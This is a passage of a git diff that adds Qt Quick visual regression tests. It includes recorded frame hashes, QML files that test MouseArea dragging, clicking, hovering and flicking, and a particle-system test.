+ Frame {
+ msec: 8816
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8832
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8848
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8864
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8880
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8896
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8912
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8928
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8944
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8960
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8976
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 8992
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 9008
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+ Frame {
+ msec: 9024
+ hash: "76624c57195c25b8abd4297e11c55980"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/drag.qml b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/drag.qml
new file mode 100644
index 00000000..99c898e9
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/drag.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.0
+
+/*
+this test shows a blue box being dragged around -- first roughly tracing the
+borders of the window, then doing a rough 'x'-shape, then moving to around the middle.
+*/
+
+Rectangle{
+ width:400
+ height:440
+ color: "white"
+ Rectangle{
+ id: draggable
+ width:40; height:40; color: "lightsteelblue"
+ y:20
+ MouseArea{
+ anchors.fill: parent
+ drag.target: draggable
+ drag.axis: "XandYAxis"
+ drag.minimumX: 0
+ drag.maximumX: 360
+ drag.minimumY: 20
+ drag.maximumY: 400
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/mousearea-flickable.qml b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/mousearea-flickable.qml
new file mode 100644
index 00000000..70ea78c7
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/mousearea-flickable.qml
@@ -0,0 +1,52 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 400; height: 480
+ color: "white"
+
+ Flickable {
+ anchors.fill: parent
+ contentHeight: 100
+
+ Rectangle {
+ id: yellow
+ width: 400; height: 120
+ color: "yellow"
+ MouseArea {
+ anchors.fill: parent
+ onPressedChanged: pressed ? yellow.color = "lightyellow": yellow.color = "yellow"
+ }
+ }
+ Rectangle {
+ id: blue
+ width: 400; height: 120
+ y: 120
+ color: "steelblue"
+ MouseArea {
+ anchors.fill: parent
+ onPressed: blue.color = "lightsteelblue"
+ onCanceled: blue.color = "steelblue"
+ }
+ }
+ Rectangle {
+ id: red
+ y: 240
+ width: 400; height: 120
+ color: "red"
+ MouseArea {
+ anchors.fill: parent
+ onEntered: { red.color = "darkred"; tooltip.opacity = 1 }
+ onCanceled: { red.color = "red"; tooltip.opacity = 0 }
+ }
+ Rectangle {
+ id: tooltip
+ x: 10; y: 20
+ width: 100; height: 50
+ color: "green"
+ opacity: 0
+ }
+ }
+
+ }
+
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/mousearea-visual.qml b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/mousearea-visual.qml
new file mode 100644
index 00000000..540866fb
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/mousearea-visual.qml
@@ -0,0 +1,135 @@
+import QtQuick 1.0
+
+/*
+This test displays 6 red rects -- 4 in the top row, 2 in the bottom.
+
+Sequence:
+1. the bottom-left rect turns blue, then green
+2. the second rect in the top row turns blue
+3. the third rect in the top row turns blue
+4. the last rect in the top row quickly turns blue then back to red
+5. the bottom-left rect turns blue, then green
+*/
+
+Rectangle {
+ id: root
+ width: 400
+ height: 100
+
+ // Left click on me
+ Rectangle {
+ width: 98; height: 48
+ color: "red"
+ MouseArea {
+ id: mr1
+ anchors.fill: parent
+ enabled: false
+ onClicked: { parent.color = "blue"; root.error = "mr1 should ignore presses"; }
+ }
+ }
+
+ // Left click, then right click
+ Rectangle {
+ x: 100
+ width: 98; height: 48
+ color: "red"
+ MouseArea {
+ id: mr2
+ anchors.fill: parent
+ acceptedButtons: Qt.RightButton
+ onClicked: {
+ if (mouse.button == Qt.RightButton) {
+ parent.color = "blue";
+ } else {
+ parent.color = "green";
+ root.error = "mr1 should ignore presses";
+ }
+ }
+ }
+ }
+
+ // press and hold me
+ Rectangle {
+ x: 200
+ width: 98; height: 48
+ color: "red"
+ MouseArea {
+ id: mr3
+ anchors.fill: parent
+ onPressAndHold: {
+ parent.color = "blue";
+ }
+ }
+ }
+
+ // click me
+ Rectangle {
+ x: 300
+ width: 98; height: 48
+ color: "red"
+ MouseArea {
+ id: mr4
+ anchors.fill: parent
+ onPressed: {
+ parent.color = "blue";
+ }
+ onReleased: {
+ parent.color = "red";
+ }
+ }
+ }
+
+ // move into and out of me
+ Rectangle {
+ x: 0
+ y: 50
+ width: 98; height: 48
+ color: "red"
+ MouseArea {
+ id: mr5
+ anchors.fill: parent
+ hoverEnabled: true
+ onEntered: {
+ parent.color = "blue";
+ }
+ onExited: {
+ parent.color = "green";
+ }
+ }
+ }
+
+ // click, then double click me
+ Rectangle {
+ x: 100
+ y: 50
+ width: 98; height: 48
+ color: "red"
+ MouseArea {
+ id: mr6
+ anchors.fill: parent
+ onClicked: {
+ parent.color = "blue";
+ }
+ onDoubleClicked: {
+ parent.color = "green";
+ }
+ }
+ }
+
+ // click, then double click me - nothing should happen
+ Rectangle {
+ x: 100
+ y: 50
+ width: 98; height: 48
+ color: "red"
+ MouseArea {
+ id: mr7
+ anchors.fill: parent
+ enabled: false
+ onClicked: { parent.color = "blue" }
+ onPressed: { parent.color = "yellow" }
+ onReleased: { parent.color = "cyan" }
+ onDoubleClicked: { parent.color = "green" }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativemousearea/nested.qml b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/nested.qml
new file mode 100644
index 00000000..b2d88d2c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativemousearea/nested.qml
@@ -0,0 +1,62 @@
+import QtQuick 1.0
+
+/*
+ Test nested MouseArea with different drag axes.
+*/
+
+Rectangle{
+ width:400
+ height:360
+ color: "white"
+ Flickable {
+ anchors.fill: parent
+ contentWidth: 600
+ contentHeight: 600
+ Rectangle{
+ id: draggable
+ width:200; height:200; color: "lightsteelblue"
+ opacity: ma1.drag.active ? 0.5 : 1.0
+ y:20
+ MouseArea{
+ id: ma1
+ objectName: "one"
+ anchors.fill: parent
+ drag.target: draggable
+ drag.axis: "XandYAxis"
+ drag.filterChildren: true
+ drag.minimumX: 0
+ drag.maximumX: 200
+ drag.minimumY: 20
+ drag.maximumY: 220
+ Rectangle{
+ id: draggable_inner
+ width:40; height:40; color: "red"
+ y:20
+ MouseArea{
+ objectName: "two"
+ anchors.fill: parent
+ drag.target: draggable_inner
+ drag.axis: "XAxis"
+ drag.minimumX: 0
+ drag.maximumX: 360
+ }
+ }
+ }
+ }
+ Rectangle{
+ id: draggable3
+ width:40; height:40; color: "green"
+ opacity: ma3.drag.active ? 0.5 : 1.0
+ y:210
+ MouseArea{
+ id: ma3
+ objectName: "three"
+ anchors.fill: parent
+ drag.target: draggable3
+ drag.axis: "XAxis"
+ drag.minimumX: 0
+ drag.maximumX: 360
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.0.png
new file mode 100644
index 00000000..88924b1f
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.1.png
new file mode 100644
index 00000000..024a17cd
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.2.png
new file mode 100644
index 00000000..8860fc21
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.3.png
new file mode 100644
index 00000000..2ab8ee32
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.qml b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.qml
new file mode 100644
index 00000000..2930e286
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/data/particles.qml
@@ -0,0 +1,775 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "particles.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "c7eb3936886726f584d1bd99133a199f"
+ }
+ Frame {
+ msec: 48
+ hash: "f7f6eeab119435f0cccd55074b4941bf"
+ }
+ Frame {
+ msec: 64
+ hash: "06f52743e61bf0212971652c500fe5d1"
+ }
+ Frame {
+ msec: 80
+ hash: "1f9dd3a3a0524c60791362f560936f9b"
+ }
+ Frame {
+ msec: 96
+ hash: "42538495fc9d63384a1709476c06d750"
+ }
+ Frame {
+ msec: 112
+ hash: "4d1b53541ffe5cdfcf0e3aa2916b1bac"
+ }
+ Frame {
+ msec: 128
+ hash: "6a3a683dbd2ad7c89f0788441303485e"
+ }
+ Frame {
+ msec: 144
+ hash: "125a936660dae42969fab4144d166ac6"
+ }
+ Frame {
+ msec: 160
+ hash: "87d008547326ff1bf2c4c2a9d9b99abc"
+ }
+ Frame {
+ msec: 176
+ hash: "0df69d85b37d3ebf0e314a7e89701703"
+ }
+ Frame {
+ msec: 192
+ hash: "7af12cac3bd33c903d6aa6fa8f89b498"
+ }
+ Frame {
+ msec: 208
+ hash: "424c950111c492ded19df874b938067c"
+ }
+ Frame {
+ msec: 224
+ hash: "bee69a0df1ca8ccc7d83a52f9de34f8c"
+ }
+ Frame {
+ msec: 240
+ hash: "47da1538d818e22d836de57d5c6601ce"
+ }
+ Frame {
+ msec: 256
+ hash: "fbfb0e177b19d6ef9433619f60dd9580"
+ }
+ Frame {
+ msec: 272
+ hash: "23b4f8bb116e8db48db25ccccedba43a"
+ }
+ Frame {
+ msec: 288
+ hash: "13f0847f1b86f880690692066cde21c7"
+ }
+ Frame {
+ msec: 304
+ hash: "639ca4c978bea080139b219c75bf01d1"
+ }
+ Frame {
+ msec: 320
+ hash: "19debcaa7bbde930eda2fd08ac1e9d8a"
+ }
+ Frame {
+ msec: 336
+ hash: "1d733c5010604bff67138f1eb9881dcd"
+ }
+ Frame {
+ msec: 352
+ hash: "b14435e41a3730baff06bb0800157081"
+ }
+ Frame {
+ msec: 368
+ hash: "504b3548c38d50f15235594f3f3d7be5"
+ }
+ Frame {
+ msec: 384
+ hash: "4e73ef73c949da579217c1d94139a75a"
+ }
+ Frame {
+ msec: 400
+ hash: "5fced44782484b1962368b9c04bf5246"
+ }
+ Frame {
+ msec: 416
+ hash: "6ab0cd5c14e1871a35d003574255c1db"
+ }
+ Frame {
+ msec: 432
+ hash: "23f5c485fbd0acd607119e93277284db"
+ }
+ Frame {
+ msec: 448
+ hash: "02ebd53ee0e6ca3605916b05d827989e"
+ }
+ Frame {
+ msec: 464
+ hash: "99b1d1e72d7da88a7d5d5a7907e1b1f4"
+ }
+ Frame {
+ msec: 480
+ hash: "b7de7d40263f2811ec51f28f8ff4929c"
+ }
+ Frame {
+ msec: 496
+ hash: "e64059f850dd4c8642a9883a1c5356bf"
+ }
+ Frame {
+ msec: 512
+ hash: "b0aefb8f8d4d970ba4b51d7f77b55cf1"
+ }
+ Frame {
+ msec: 528
+ hash: "5ab4b1373c233b2342eb66cf9eccac8d"
+ }
+ Frame {
+ msec: 544
+ hash: "b3726c296d5919a59c32201d857e92b4"
+ }
+ Frame {
+ msec: 560
+ hash: "70e246371f9cf83b5913f2fc53f6b736"
+ }
+ Frame {
+ msec: 576
+ hash: "871cd4b99b6d544d487424219e0caf92"
+ }
+ Frame {
+ msec: 592
+ hash: "8c002ec15e88220bf12ebaa5a3390570"
+ }
+ Frame {
+ msec: 608
+ hash: "21c994a5ad23938a9e873d04bbd4165e"
+ }
+ Frame {
+ msec: 624
+ hash: "1f04a0ed31823cd0817f3e97a11e3a46"
+ }
+ Frame {
+ msec: 640
+ hash: "f163eda68878ae0ed4cac7f941e24414"
+ }
+ Frame {
+ msec: 656
+ hash: "560527d6c7fa64a4739f9c79f3eaab8f"
+ }
+ Frame {
+ msec: 672
+ hash: "df7e7469ff685c4cd822232b1aa66029"
+ }
+ Frame {
+ msec: 688
+ hash: "fa92bf73b0737d4ac8bbc16518cd9c2a"
+ }
+ Frame {
+ msec: 704
+ hash: "bb2f2765ba20b727701352f11ed30417"
+ }
+ Frame {
+ msec: 720
+ hash: "4c45617ce77a5869cdbfcfe851796422"
+ }
+ Frame {
+ msec: 736
+ hash: "24aa2eabe8d2a4adc5a096dd201a3bc1"
+ }
+ Frame {
+ msec: 752
+ hash: "2eb5de2524ad38e1dcd44d89b115e75a"
+ }
+ Frame {
+ msec: 768
+ hash: "8b39e542908051b0ab8fbf3cd36f3be9"
+ }
+ Frame {
+ msec: 784
+ hash: "a447e9d7c87c90633dcfc550fcf04ff6"
+ }
+ Frame {
+ msec: 800
+ hash: "c3d1e7753b592bc0d0c3169e3cf08bb7"
+ }
+ Frame {
+ msec: 816
+ hash: "fb20ccb3b36798835fbc1d529a7424ea"
+ }
+ Frame {
+ msec: 832
+ hash: "ff253670ae78826250b9612cf2a2e1a4"
+ }
+ Frame {
+ msec: 848
+ hash: "45fb7f71debd3b61062a4165c04c0637"
+ }
+ Frame {
+ msec: 864
+ hash: "a1542b5bc5e65cdb3f8775cf21b54429"
+ }
+ Frame {
+ msec: 880
+ hash: "a146b5b88875e4148658dd55e162d6f4"
+ }
+ Frame {
+ msec: 896
+ hash: "94222050206925d4c9b38da03125cc0c"
+ }
+ Frame {
+ msec: 912
+ hash: "71a63ace8450029b968723cfa684330c"
+ }
+ Frame {
+ msec: 928
+ hash: "14e4d2af07146133c6a0e87391747c6a"
+ }
+ Frame {
+ msec: 944
+ hash: "e380593e219531620dbca0a8131b4f13"
+ }
+ Frame {
+ msec: 960
+ hash: "d52c30bc201afd3d1caf34efcddafdee"
+ }
+ Frame {
+ msec: 976
+ image: "particles.1.png"
+ }
+ Frame {
+ msec: 992
+ hash: "0d2871475891f96e1cc4150cbe725d46"
+ }
+ Frame {
+ msec: 1008
+ hash: "b6d064a26c282ce4fd8cba48de0a0f7b"
+ }
+ Frame {
+ msec: 1024
+ hash: "9ad67d9833d749b2b8158abb3076357b"
+ }
+ Frame {
+ msec: 1040
+ hash: "ce86624a1e055fdb4711dd73be31dc42"
+ }
+ Frame {
+ msec: 1056
+ hash: "a2c6fc81e1f02477f6ad084acaf12b0d"
+ }
+ Frame {
+ msec: 1072
+ hash: "bab24924a5ac4cd45c1fa7b5e4ff3efe"
+ }
+ Frame {
+ msec: 1088
+ hash: "8c8fd3b9cc257dab84df8e88a3e7a001"
+ }
+ Frame {
+ msec: 1104
+ hash: "a3f9936dc4e3161d9db1fa39267cda4d"
+ }
+ Frame {
+ msec: 1120
+ hash: "d6669c8a47077f665a93587ea3cafe6e"
+ }
+ Frame {
+ msec: 1136
+ hash: "601dbd220a7f312d4343323ae99e21ee"
+ }
+ Frame {
+ msec: 1152
+ hash: "722411ffc1d6740caed9bf1231bc54ba"
+ }
+ Frame {
+ msec: 1168
+ hash: "cb3bd6f5ee770399e21a07e56dcf28ef"
+ }
+ Frame {
+ msec: 1184
+ hash: "1819d6719e6b56b3e673dacf1865272e"
+ }
+ Frame {
+ msec: 1200
+ hash: "6b6532937a3e37df28b3939cbadc4741"
+ }
+ Frame {
+ msec: 1216
+ hash: "8a065d54600e9ae3c7958f7b71d8432d"
+ }
+ Frame {
+ msec: 1232
+ hash: "2259806ac264b292f5701f34ffac5c35"
+ }
+ Frame {
+ msec: 1248
+ hash: "e4b2a6440df9141616f89cbb6a6ba0aa"
+ }
+ Frame {
+ msec: 1264
+ hash: "034b74fe5327909214bb5a6e3084edf2"
+ }
+ Frame {
+ msec: 1280
+ hash: "976fd9bc54baefe8d71002a22706052a"
+ }
+ Frame {
+ msec: 1296
+ hash: "45138388ebc6ec44a205934475907b25"
+ }
+ Frame {
+ msec: 1312
+ hash: "01edec5ae6e33b49baee2abe2a59ad7d"
+ }
+ Frame {
+ msec: 1328
+ hash: "9a89ff95df027e53827c5554a28e05a8"
+ }
+ Frame {
+ msec: 1344
+ hash: "8d1cd8a1181b7320990b7348b424ce4b"
+ }
+ Frame {
+ msec: 1360
+ hash: "2366d1ee0c0740f0d19fe2ce1acfe4c3"
+ }
+ Frame {
+ msec: 1376
+ hash: "071988963ab2d1a53243e0f6837fecb0"
+ }
+ Frame {
+ msec: 1392
+ hash: "20f1e8adef04cea6bcd1511ac47a7922"
+ }
+ Frame {
+ msec: 1408
+ hash: "2241def30a3ef54ea82e5fa2b1ef5997"
+ }
+ Frame {
+ msec: 1424
+ hash: "15365370ac6859f1bfc76e96e603c417"
+ }
+ Frame {
+ msec: 1440
+ hash: "45edcbeb23c88f62982f9af9a4647f4c"
+ }
+ Frame {
+ msec: 1456
+ hash: "b7a9c7c44e6f9ff5132d1ad3f6137dc8"
+ }
+ Frame {
+ msec: 1472
+ hash: "8a55b85fdd63ac63c1a566a5c4d92a04"
+ }
+ Frame {
+ msec: 1488
+ hash: "e1973b7d557dec08e6375feefb56db47"
+ }
+ Frame {
+ msec: 1504
+ hash: "a321445212e561de4262228482b0edbe"
+ }
+ Frame {
+ msec: 1520
+ hash: "a2c787a576e1f85561c08330b6801e98"
+ }
+ Frame {
+ msec: 1536
+ hash: "ba84070f0081d4c7a08ebc3204d9aebf"
+ }
+ Frame {
+ msec: 1552
+ hash: "4b82a6908ed0caf3cbfd9dc9211ec69a"
+ }
+ Frame {
+ msec: 1568
+ hash: "a1dc7c4ad596fc005cf3077ee78406e1"
+ }
+ Frame {
+ msec: 1584
+ hash: "53d76884202d4b9ce3874db796705b80"
+ }
+ Frame {
+ msec: 1600
+ hash: "9f24c090531259f9d83ea97e842c4f14"
+ }
+ Frame {
+ msec: 1616
+ hash: "541c81585a781bab82d4ee95b9f844ff"
+ }
+ Frame {
+ msec: 1632
+ hash: "73e15141e6c6bfba4a2c820ba96e3f6e"
+ }
+ Frame {
+ msec: 1648
+ hash: "0500129b602ab14925aa09a1d9bee3d0"
+ }
+ Frame {
+ msec: 1664
+ hash: "2d45ba5e0e21430f468332c13ce3ee15"
+ }
+ Frame {
+ msec: 1680
+ hash: "bafd11c210e683d79ac438c5612503bc"
+ }
+ Frame {
+ msec: 1696
+ hash: "f968f49e6a0674877c55282e5543edab"
+ }
+ Frame {
+ msec: 1712
+ hash: "705307529862a3825a0870b294058825"
+ }
+ Frame {
+ msec: 1728
+ hash: "a008a501d1dc16a5ffaee325fdd90816"
+ }
+ Frame {
+ msec: 1744
+ hash: "5091621481873738658f4d8543582c62"
+ }
+ Frame {
+ msec: 1760
+ hash: "141216eeb31b5af4ec247bb930169a7f"
+ }
+ Frame {
+ msec: 1776
+ hash: "bfb203e39ab0a9837fc5b9c9b49d9580"
+ }
+ Frame {
+ msec: 1792
+ hash: "1f2704480af7dd2bb382d13450f34755"
+ }
+ Frame {
+ msec: 1808
+ hash: "f3182da7f6202250a6cc2de3e43fcf87"
+ }
+ Frame {
+ msec: 1824
+ hash: "6fa500f5ff387c5801186fb7eced96f4"
+ }
+ Frame {
+ msec: 1840
+ hash: "1874d59911d70daf098cd053da69127b"
+ }
+ Frame {
+ msec: 1856
+ hash: "52a7bcb9a18e8d4a24c2617124b7961b"
+ }
+ Frame {
+ msec: 1872
+ hash: "f3a7dd26aa4177dbee02d52df664c751"
+ }
+ Frame {
+ msec: 1888
+ hash: "5180db29e325f00c3940b6a7b8eb8a8e"
+ }
+ Frame {
+ msec: 1904
+ hash: "eab16b6ef76e627eff492cdf5d5da9e2"
+ }
+ Frame {
+ msec: 1920
+ hash: "57976a66963718e90c62535a936d9251"
+ }
+ Frame {
+ msec: 1936
+ image: "particles.2.png"
+ }
+ Frame {
+ msec: 1952
+ hash: "85ecf35d439bd4129f8780d8ee561dfb"
+ }
+ Frame {
+ msec: 1968
+ hash: "785d712b57b3ec4cee6b9e2fcfa1b775"
+ }
+ Frame {
+ msec: 1984
+ hash: "77906acfafec6ab595e8dad00373f953"
+ }
+ Frame {
+ msec: 2000
+ hash: "33722e5c66ee6dfc87ca62a53590969e"
+ }
+ Frame {
+ msec: 2016
+ hash: "7bd3d9e36789b3456c5e098d02341ce3"
+ }
+ Frame {
+ msec: 2032
+ hash: "be4af661ca19ca607acf0d8949b58c26"
+ }
+ Frame {
+ msec: 2048
+ hash: "e249df985887229664d3c61c7b01d2ef"
+ }
+ Frame {
+ msec: 2064
+ hash: "541a01af440e81c7b20fa9df0e85f5f9"
+ }
+ Frame {
+ msec: 2080
+ hash: "3579e5a3ab93b8c9998ef812f43ba158"
+ }
+ Frame {
+ msec: 2096
+ hash: "c2902c8068a48788e5511d2987191181"
+ }
+ Frame {
+ msec: 2112
+ hash: "3fc7d417d13cbccbff81c0630cf968f3"
+ }
+ Frame {
+ msec: 2128
+ hash: "5507fabe77585c38b2929e2565cd8e9d"
+ }
+ Frame {
+ msec: 2144
+ hash: "73f6a9a1602929b80ba28ac2c8095a95"
+ }
+ Frame {
+ msec: 2160
+ hash: "3377ee6818f1fbf15cfe2916ef7328ed"
+ }
+ Frame {
+ msec: 2176
+ hash: "4bea4237a5044b9ffbe9815b877a5b96"
+ }
+ Frame {
+ msec: 2192
+ hash: "f25dadf7b916625f120d3b5fc1602d0d"
+ }
+ Frame {
+ msec: 2208
+ hash: "ba095d86b7ecc9e2ca6c5d6567d6debf"
+ }
+ Frame {
+ msec: 2224
+ hash: "296129caee6a9526aa2c6071fb07198c"
+ }
+ Frame {
+ msec: 2240
+ hash: "42abe26548e9eb7a2c63aea7f349808c"
+ }
+ Frame {
+ msec: 2256
+ hash: "2d187394342584568aa24353233f67f7"
+ }
+ Frame {
+ msec: 2272
+ hash: "5c4047c8ca78103d443f9058f3ec3237"
+ }
+ Frame {
+ msec: 2288
+ hash: "05af8a131ec98b5bc60669bfcdee9a16"
+ }
+ Frame {
+ msec: 2304
+ hash: "b486a796a74962d6b5a4e928ff9e6a2d"
+ }
+ Frame {
+ msec: 2320
+ hash: "8bfa5cc3edf294a728bae51014733230"
+ }
+ Frame {
+ msec: 2336
+ hash: "fb5928a74d75f7eb23ed914e12ea2dba"
+ }
+ Frame {
+ msec: 2352
+ hash: "16c83f70c3559e97c4a28df7e8b94d95"
+ }
+ Frame {
+ msec: 2368
+ hash: "a7f926210d56dc368c99da12a27db42e"
+ }
+ Frame {
+ msec: 2384
+ hash: "9f235f259af00126a3fc2417d399dee6"
+ }
+ Frame {
+ msec: 2400
+ hash: "2397c99cc1697303bad9fbd029ee63a3"
+ }
+ Frame {
+ msec: 2416
+ hash: "b83a021c82c203d6cf690edd5fd98c89"
+ }
+ Frame {
+ msec: 2432
+ hash: "4e9e74f8b115b69b593f0233f9431258"
+ }
+ Frame {
+ msec: 2448
+ hash: "2d8f24eea1e87691eb2292bd01756498"
+ }
+ Frame {
+ msec: 2464
+ hash: "bad7ffbfe4feac5e7a13a70c8096ddab"
+ }
+ Frame {
+ msec: 2480
+ hash: "6869d23bf601c67593f23402023f931d"
+ }
+ Frame {
+ msec: 2496
+ hash: "6e4846623fe8b4a1c850729620cd7502"
+ }
+ Frame {
+ msec: 2512
+ hash: "f679d87f206ca71de191f3991c13f4b0"
+ }
+ Frame {
+ msec: 2528
+ hash: "7f503ceda23f0e4718f6216c3b4ddef7"
+ }
+ Frame {
+ msec: 2544
+ hash: "69f01285109c21cbd32a0f17942734be"
+ }
+ Frame {
+ msec: 2560
+ hash: "f2060324802c080703ff62c051c7cff2"
+ }
+ Frame {
+ msec: 2576
+ hash: "45d01b58f0812596aff06a09c1167d83"
+ }
+ Frame {
+ msec: 2592
+ hash: "688c9931abdaa7225da91cdf7f2beb48"
+ }
+ Frame {
+ msec: 2608
+ hash: "d522505f28615cc17206ca6099dbd83e"
+ }
+ Frame {
+ msec: 2624
+ hash: "ad86d8cee90c1458b64318f3edd94aee"
+ }
+ Frame {
+ msec: 2640
+ hash: "6dda1a6359b421ef7c9ffa4ecd863341"
+ }
+ Frame {
+ msec: 2656
+ hash: "dcc388cdf2b87e10b07e2f05ab6dce3c"
+ }
+ Frame {
+ msec: 2672
+ hash: "a5d64264be7778929116c9407548c7f8"
+ }
+ Frame {
+ msec: 2688
+ hash: "cc7ac18a25936825d42694a9022b73fa"
+ }
+ Frame {
+ msec: 2704
+ hash: "4423af95764aadbaffe3c608fb3a376b"
+ }
+ Frame {
+ msec: 2720
+ hash: "ad186cd5735531e2e6bfb2fc387dee2d"
+ }
+ Frame {
+ msec: 2736
+ hash: "d0e7c8071350bac03cf06996b6f74a63"
+ }
+ Frame {
+ msec: 2752
+ hash: "d012311c64fb35717155ebc88f9940d6"
+ }
+ Frame {
+ msec: 2768
+ hash: "13111334420c479b6a3ddbde65e2d143"
+ }
+ Frame {
+ msec: 2784
+ hash: "3a77939f35498ef91590cd57c534fb6a"
+ }
+ Frame {
+ msec: 2800
+ hash: "89cbc568600c18c3d7163c3079a3f584"
+ }
+ Frame {
+ msec: 2816
+ hash: "2a8db5a4cae5258578749a88fbf915ce"
+ }
+ Frame {
+ msec: 2832
+ hash: "ddd9cef18ce748096869dae9c2e23de3"
+ }
+ Frame {
+ msec: 2848
+ hash: "d9e213af096ce69f75863ed7c39b59f4"
+ }
+ Frame {
+ msec: 2864
+ hash: "69e9bfa09b8f5a1e2d83b77a5c9bc374"
+ }
+ Frame {
+ msec: 2880
+ hash: "ac6878edac61916bf424dcee2d7790e8"
+ }
+ Frame {
+ msec: 2896
+ image: "particles.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "e60ed277794737b9f5d8c4a575f5b300"
+ }
+ Frame {
+ msec: 2928
+ hash: "5c1a39fa9789064ff0d5ea1fd4c6d187"
+ }
+ Frame {
+ msec: 2944
+ hash: "64c1593bf33b85593153ac9eeeb7793e"
+ }
+ Frame {
+ msec: 2960
+ hash: "dab7df26ba23ed3e750fa6080916f177"
+ }
+ Frame {
+ msec: 2976
+ hash: "5958428d5ab5a379f9bbcc0f86c20d1b"
+ }
+ Frame {
+ msec: 2992
+ hash: "65929536b7b8b48958fab7bd1e3ccca5"
+ }
+ Frame {
+ msec: 3008
+ hash: "cb157ba8c58bb7a8ec357e83e82ab441"
+ }
+ Frame {
+ msec: 3024
+ hash: "bf36b7c52a3b3b2fb08524131bb4b9e2"
+ }
+ Frame {
+ msec: 3040
+ hash: "0d2dbb3ba42cad9e8b5833c97dd0cdba"
+ }
+ Frame {
+ msec: 3056
+ hash: "f918a9f5fa6808b545c715dffa2f4838"
+ }
+ Frame {
+ msec: 3072
+ hash: "ec11344fb21ee06df6cface390d611d9"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeparticles/particles.qml b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/particles.qml
new file mode 100644
index 00000000..38506a0c
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeparticles/particles.qml
@@ -0,0 +1,56 @@
+import QtQuick 1.0
+import Qt.labs.particles 1.0
+
+Rectangle {
+ property string skip: "May contain random numbers"
+ width: 640; height: 480; color: "black"
+
+ Particles { id:particlesAneverEmitting
+ y:60; width: 260; height:30; source: "star.png";
+ lifeSpan:1000; count: 50; angle:70; angleDeviation:36;
+ velocity:30; velocityDeviation:10; emissionRate: 0
+ ParticleMotionWander { yvariance:5; xvariance:30; pace:100 }
+ }
+ Particles { id:particlesA //snowy particles from the top
+ y:0; width: 260; height:30; source: "star.png";
+ lifeSpan:1000; count: 50; angle:70; angleDeviation:36;
+ velocity:30; velocityDeviation:10; emissionRate: 10
+ ParticleMotionWander { yvariance:5; xvariance:30; pace:100 }
+ }
+
+ Particles { id:particlesB //particle fountain bursting every second
+ y:280; x:180; width:1; height:1; lifeSpan:1000; source: "star.png"
+ count: 100; angle:270; angleDeviation:45; velocity:50; velocityDeviation:30;
+ emissionRate: 0
+ ParticleMotionGravity { yattractor: 1000; xattractor:0; acceleration:25 }
+ }
+
+ Timer { running: true; interval: 1000; repeat: true; onTriggered: particlesB.burst(200, 2000); }
+
+ Column{
+ x: 340;
+ Repeater{//emission variance test
+ model: 5
+ delegate: Component{
+ Item{
+ width: 100; height: 100
+ Rectangle{
+ color: "blue"
+ width: 2; height: 2;
+ x: 49; y:49;
+ }
+ Particles{
+ x: 50; y:50; width: 0; height: 0;
+ fadeInDuration: 0; fadeOutDuration: 0
+ lifeSpan: 1000; lifeSpanDeviation:0;
+ source: "star.png"
